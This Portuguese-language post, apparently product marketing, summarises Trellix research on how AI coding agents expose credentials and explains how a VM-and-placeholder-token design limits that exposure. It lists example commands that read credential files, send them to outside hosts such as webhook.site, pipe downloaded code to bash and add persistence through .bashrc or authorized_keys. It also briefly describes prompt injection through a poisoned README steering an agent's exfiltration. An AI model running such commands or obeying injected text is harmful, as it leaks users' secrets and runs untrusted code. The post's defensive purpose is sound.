A transcrição guardou o token
Em 14 de outubro, a Trellix publicou uma pesquisa sobre o que chama de superfície invisível de credenciais: agentes de código tiram segredos do chaveiro, colocam na linha de comando, no histórico do shell e nas próprias transcrições, e os enviam ao provedor do modelo, tudo como efeito colateral do trabalho comum. A Trellix lista dez classes de comportamento, cada uma feita com um binário confiável, e diz que telemetria baseada em eventos isolados não consegue distingui-las de um desenvolvedor ou de um atacante. No Bromure Agentic Coding, toda cópia que o agente faz é um substituto, e o valor real só existe no Mac, na rede, para o host ao qual pertence.
O token começou no chaveiro. Um comando curl depois, ele estava na tabela de processos, na transcrição do agente e nos logs de um provedor de modelo.
Você pede ao seu agente para "buscar meu perfil na Graph API". Ele termina sem pedir sua senha. Chama um utilitário que descriptografa seu token OAuth salvo no repositório de chaves e então executa:
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me
A requisição funciona. No caminho, o token foi parar na telemetria do seu endpoint, na tabela de processos, onde outros programas locais podem lê-lo, na transcrição do agente em disco e na janela de contexto que o agente envia ao provedor do modelo na rodada seguinte.
Esse exemplo abre The Unseen Credential Surface, publicado por Haowei Ren, da Trellix, na terça-feira, 14 de outubro. O Cyber Security News noticiou no dia seguinte. A pesquisa não descreve nenhum exploit nem malware. Ela acompanha o que os agentes fazem com segredos durante um dia de trabalho comum. A Trellix parte da suposição de que um agente trata suas credenciais "com o mesmo cuidado que um bom engenheiro teria" e responde: "Não trata. Não por má intenção. É arquitetural."
Cinco degraus abaixo
A Trellix organiza todo lugar onde um segredo pode estar numa escada, do mais seguro ao mais exposto:
- Trancado, no Keychain, no DPAPI ou no Gerenciador de Credenciais.
- Na memória, dentro de um único processo.
- Na linha de comando, legível pelo monitoramento e por outros processos locais, e muitas vezes salvo no histórico do shell.
- Gravado em disco: histórico do shell, arquivos de configuração, "e a própria transcrição do agente".
- Fora da máquina: commitado, enviado, publicado, "ou enviado ao provedor do modelo".
Os agentes descem os segredos por essa escada porque esse é o caminho mais
curto até uma tarefa concluída. Um degrau é novo com os agentes. Quando você
roda cat .env, o segredo aparece na sua tela. Quando o agente roda, "o
conteúdo entra na janela de contexto dele e é enviado a um provedor de modelo
externo, onde pode ficar registrado permanentemente". A Trellix resume: "Os
erros humanos ficam dentro dos seus muros; as operações dos agentes, não."
Dez comandos comuns
A pesquisa divide o comportamento em dez classes. Cada exemplo é um comando que você mesmo já digitou:
- Credenciais como argumentos:
curl -u,kubectl --token=…,mysql -p…. - Arquivos de credenciais lidos:
cat .env,~/.aws/credentials,~/.kube/config,~/.git-credentials,~/.docker/config.json. - Chaveiros consultados em texto puro:
security find-generic-password -w,gh auth token,git credential fill. - Ambiente despejado:
env,printenv | grep -iE 'key|token'. - Verificações TLS desligadas:
curl -k,NODE_TLS_REJECT_UNAUTHORIZED=0,git -c http.sslVerify=false. - Segredos enviados para fora:
git add .env && git push,curl --data @~/.aws/credentials,gh gist create. - Execução oculta:
base64 -d | bash,curl | bash,eval "$(curl …)". - Persistência: linhas acrescentadas ao
~/.bashrcou ao crontab. - Novas credenciais criadas:
ssh-keygen -N "", e depois a chave adicionada aoauthorized_keys. - Cofres na nuvem esvaziados:
aws secretsmanager get-secret-value,vault kv get,kubectl get secret.
Cada classe executa um binário assinado e confiável, que a mesma máquina roda milhares de vezes por dia por bons motivos. Uma regra que dispara quando "um processo leu um arquivo .env" dispara no editor, no linter e no executor de testes. A conclusão da Trellix: "Nenhum passo do ataque está ausente da atividade normal. Uma caçada ajustada para pegá-lo tende a disparar para todo mundo ou para ninguém."
A Trellix aponta a injeção de prompt como o passo da exposição à violação. O agente já lê segredos e já envia dados para fora. Um README, uma issue ou uma página web envenenados só precisam apontar esses hábitos para um host controlado pelo atacante.
Mantenha o segredo no degrau de cima
As correções da Trellix se resumem a uma frase: "Mantenha os segredos nos degraus de cima ou torne rapidamente inútil um segredo exposto." O Bromure Agentic Coding faz as duas coisas.
O agente roda numa VM Linux no seu Mac. Os segredos reais ficam no cofre
criptografado do Mac, sob uma chave mestra guardada no Data Protection
Keychain, e nunca entram na VM. A VM recebe substitutos com o formato dos
reais: ghp_ mais 36 caracteres para um token do GitHub,
sk-ant-api03-brm-… para uma chave da Anthropic, brm-k8s-… para um token de
cluster, brm_… para qualquer coisa que você importe de um arquivo .env.
Toda requisição HTTPS da VM passa por um proxy no Mac, que troca o substituto
pelo valor real somente quando a requisição vai para o host ao qual aquela
credencial pertence.
Assim, o agente pode descer um token pelos cinco degraus. O que chega à linha de comando, ao histórico do shell, à transcrição e ao provedor do modelo é o substituto. O valor real existe em apenas mais um lugar: a requisição que o Mac recriptografa rumo ao próprio host da credencial.
As dez classes numa máquina Bromure
Rode o mesmo agente, com os mesmos hábitos, numa máquina Bromure. As dez classes continuam rodando, e cada uma volta com menos do que foi buscar.
Argumentos, arquivos, chaveiros e ambiente
As quatro primeiras classes leem um segredo de um repositório de chaves, de um arquivo ou do ambiente e o colocam numa linha de comando. Na VM, as quatro encontram os mesmos substitutos.
env e printenv mostram substitutos. ~/.git-credentials,
~/.docker/config.json e o ~/.kube/config sintético contêm substitutos. Um
.env de projeto que você importou com Import env file… no painel
Credentials da máquina contém substitutos com os mesmos nomes de
variáveis, e seu código os lê como antes. gh auth token devolve um
substituto ghp_. O ~/.aws/config aponta para um utilitário que entrega o
ID da chave de acesso junto com uma chave secreta falsa de 40 caracteres. A
AWS CLI assina com a falsa, e o Mac remove essa assinatura e reassina com a
chave real na saída.
O degrau de cima da escada da Trellix, o repositório de chaves do sistema,
fica no Mac, fora da VM. Lá dentro, security find-generic-password não tem
nenhum Keychain para consultar. Os canais vsock que levam tokens entre o host
e a VM funcionam num sentido só: o host escreve substitutos, e não existe
nenhuma requisição com a qual a VM possa pedir de volta um token real.
O SSH funciona do mesmo jeito, sem token. O SSH_AUTH_SOCK na VM é uma ponte
para um agente no Mac. O git push por SSH recebe sua assinatura, e
ls ~/.ssh/id_* não encontra nenhuma chave privada.
O agente pode colar qualquer um desses valores num curl -H, registrá-lo em
log, gravá-lo num script com echo ou citá-lo de volta ao modelo. A Trellix
pede aos criadores de agentes que "ocultem strings com cara de credencial
antes que entrem na janela de contexto do LLM". Uma máquina Bromure atende a
esse pedido antes que o agente abra o arquivo: o arquivo contém um substituto
desde o início.
Verificações TLS desligadas
Dentro da VM, o TLS termina no proxy do Bromure, sob um certificado de uma CA
própria de cada instalação, na qual só as suas máquinas confiam. O proxy abre
a própria conexão com o servidor real pela pilha TLS do macOS, que valida o
certificado genuíno, seja lá o que o agente tenha passado ao curl. Assim,
curl -k ou NODE_TLS_REJECT_UNAUTHORIZED=0 dispensa a verificação do
próprio certificado do Bromure, e o Mac continua verificando o servidor.
A única forma de pular a validação no upstream é um cabeçalho,
X-bromure-insecure: yes, pensado para um servidor com CA privada. Numa
requisição assim, o proxy não injeta nenhuma credencial real e envia apenas
substitutos, e a Security Timeline registra o uso como uma linha
Upstream TLS.
Segredos enviados para fora
curl --data @~/.git-credentials https://webhook.site/… envia um arquivo de
substitutos. O proxy examina toda requisição de saída, cabeçalhos e corpo, em
busca de qualquer substituto indo para um host diferente daquele para o qual
foi criado. Um substituto do GitHub a caminho do webhook.site recebe HTTP
451, nada é encaminhado, a VM pausa, e o Mac mostra
This environment may have been compromised, com a prévia do token, o nome
da credencial, o host ao qual ela pertence e o host para onde o agente a
enviou.
git push e gh gist create vão para o GitHub, onde o token pertence.
Máquinas novas começam com a política de escrita do GitHub em
Prompt before write, então o push e o gist param, cada um, num diálogo no
Mac que mostra a operação, e você decide se ela prossegue. Se você permitir,
o arquivo que o agente commitou contém substitutos.
Execução oculta
base64 -d | bash esconde o comando da telemetria de processos, que registra
só o invólucro. Qualquer requisição que o payload faça ainda sai da VM pelo
proxy: ela passa pela mesma varredura de substitutos, pelo firewall
Outbound connections no painel Guardrails da máquina e pelo trace. No
nível de rastreamento padrão, AI request details, o Mac guarda, de forma
criptografada, cada troca com o provedor do modelo, e o Trace Inspector lista
cada chamada de ferramenta com sua entrada, incluindo a linha curl | bash
como o modelo a escreveu.
Persistência e novas chaves
Uma linha acrescentada ao ~/.bashrc vai parar na home da VM.
Rewind home… volta essa home a um checkpoint anterior. Os arquivos de
inicialização do shell do Mac ficam do outro lado da fronteira.
Um agente travado num pedido de senha da chave roda ssh-keygen -N "" para
se destravar. Numa máquina Bromure, a ponte SSH já assina com a chave da
máquina, então o git por SSH funciona de primeira e o agente não encontra
nenhum prompt para contornar. Registrar uma nova chave no GitHub é uma escrita
na API do GitHub, e ela espera no mesmo diálogo Prompt before write que
um push.
Cofres na nuvem esvaziados
aws secretsmanager get-secret-value exige uma assinatura SigV4, e só o Mac
consegue produzi-la. Ative Require approval to use para a credencial da
AWS em Guardrails, e a primeira assinatura de uma sessão espera por
Allow for 5 minutes, Allow for 1 hour, Allow for the rest of the
session ou Don't allow. A mesma chave existe para cada contexto do
Kubernetes, então kubectl get secret espera até você dizer sim. Toda
assinatura da AWS aparece na Security Timeline como uma linha
Credential used, com a chave de acesso mascarada.
Para um banco de dados que o agente consulta por HTTP, como a Mongo Data API,
o ClickHouse ou o Elasticsearch, você pode dispensar a consulta ao cofre:
adicione o endpoint em Credentials → Databases, a VM recebe um substituto
brm-db-…, e o proxy faz a troca no corpo da requisição além dos cabeçalhos.
A sequência, ligada ao agente
A Trellix defende que a unidade útil de detecção é uma sequência, acesso à credencial, depois uso, depois saída, "ligada ao processo do agente que iniciou a cadeia". Suas recomendações para quem implanta agentes terminam com tokens de vida curta, saída de rede restrita e tratar toda máquina que roda um agente como "infraestrutura de alto valor que lida com segredos".
No Bromure, essa unidade é a máquina: uma VM com suas próprias sessões de
agente. A Security Timeline reúne cada troca de credencial, bloqueio de
exfiltração, veredito do firewall, decisão de política de escrita e
assinatura da AWS numa só tabela, com uma coluna Workspace, de modo que a
cadeia de uma máquina se lê de cima para baixo. O trace dessa máquina contém
as chamadas de ferramenta que produziram cada requisição.
bromure-cli trace leaks lista as requisições que levaram um token ao host
errado.
O Mac também mantém curta a vida dos tokens. Os logins por assinatura do Claude, Codex, Grok e Kimi são renovados no host cerca de cinco minutos antes de expirar, e a VM nunca guarda um refresh token. Um valor armazenado como referência do 1Password é resolvido de novo a cada dois minutos, então uma rotação no 1Password chega ao proxy sem reinício. Coloque Unmatched traffic em Deny no firewall, e a máquina só alcança os hosts que você listar.
Toda cópia é um substituto
Ambiente, arquivos de configuração, valores .env importados, saída do gh e da AWS CLI: tudo substituto. O que o agente coloca numa linha de comando, numa transcrição ou na janela de contexto não vale nada fora da rede.
O valor real mora no Mac
Os segredos ficam num cofre criptografado com chave no Data Protection Keychain. O proxy só os insere para o host para o qual cada um foi criado. As chaves SSH assinam por uma ponte e nunca entram na VM.
Um substituto no lugar errado para a máquina
Um substituto indo para qualquer outro host recebe um 451, a VM pausa, e o Mac mostra o token, o host dele e o destino.
Uma linha do tempo por máquina
Trocas, bloqueios, vereditos do firewall, aprovações de escrita e assinaturas da AWS ficam na Security Timeline, e o trace guarda as chamadas de ferramenta por trás deles.
Um dia de trabalho
A Trellix chama os agentes de "um dos maiores sistemas de manipulação de credenciais da empresa moderna", construído por acidente. Você nunca escolheu colocar o token da Graph numa transcrição. O agente precisava dele num cabeçalho, e escreveu o cabeçalho numa linha de comando.
Seu agente vai continuar rodando env para depurar uma conexão e cat .env
para entender um projeto, seja qual for o modelo ou o prompt que você der a
ele. Rode-o onde esses comandos devolvem substitutos. Para o alarme que um
substituto dispara quando sai para o host errado, leia O agente vazou a
própria chave e A chave era o seu
arquivo .env.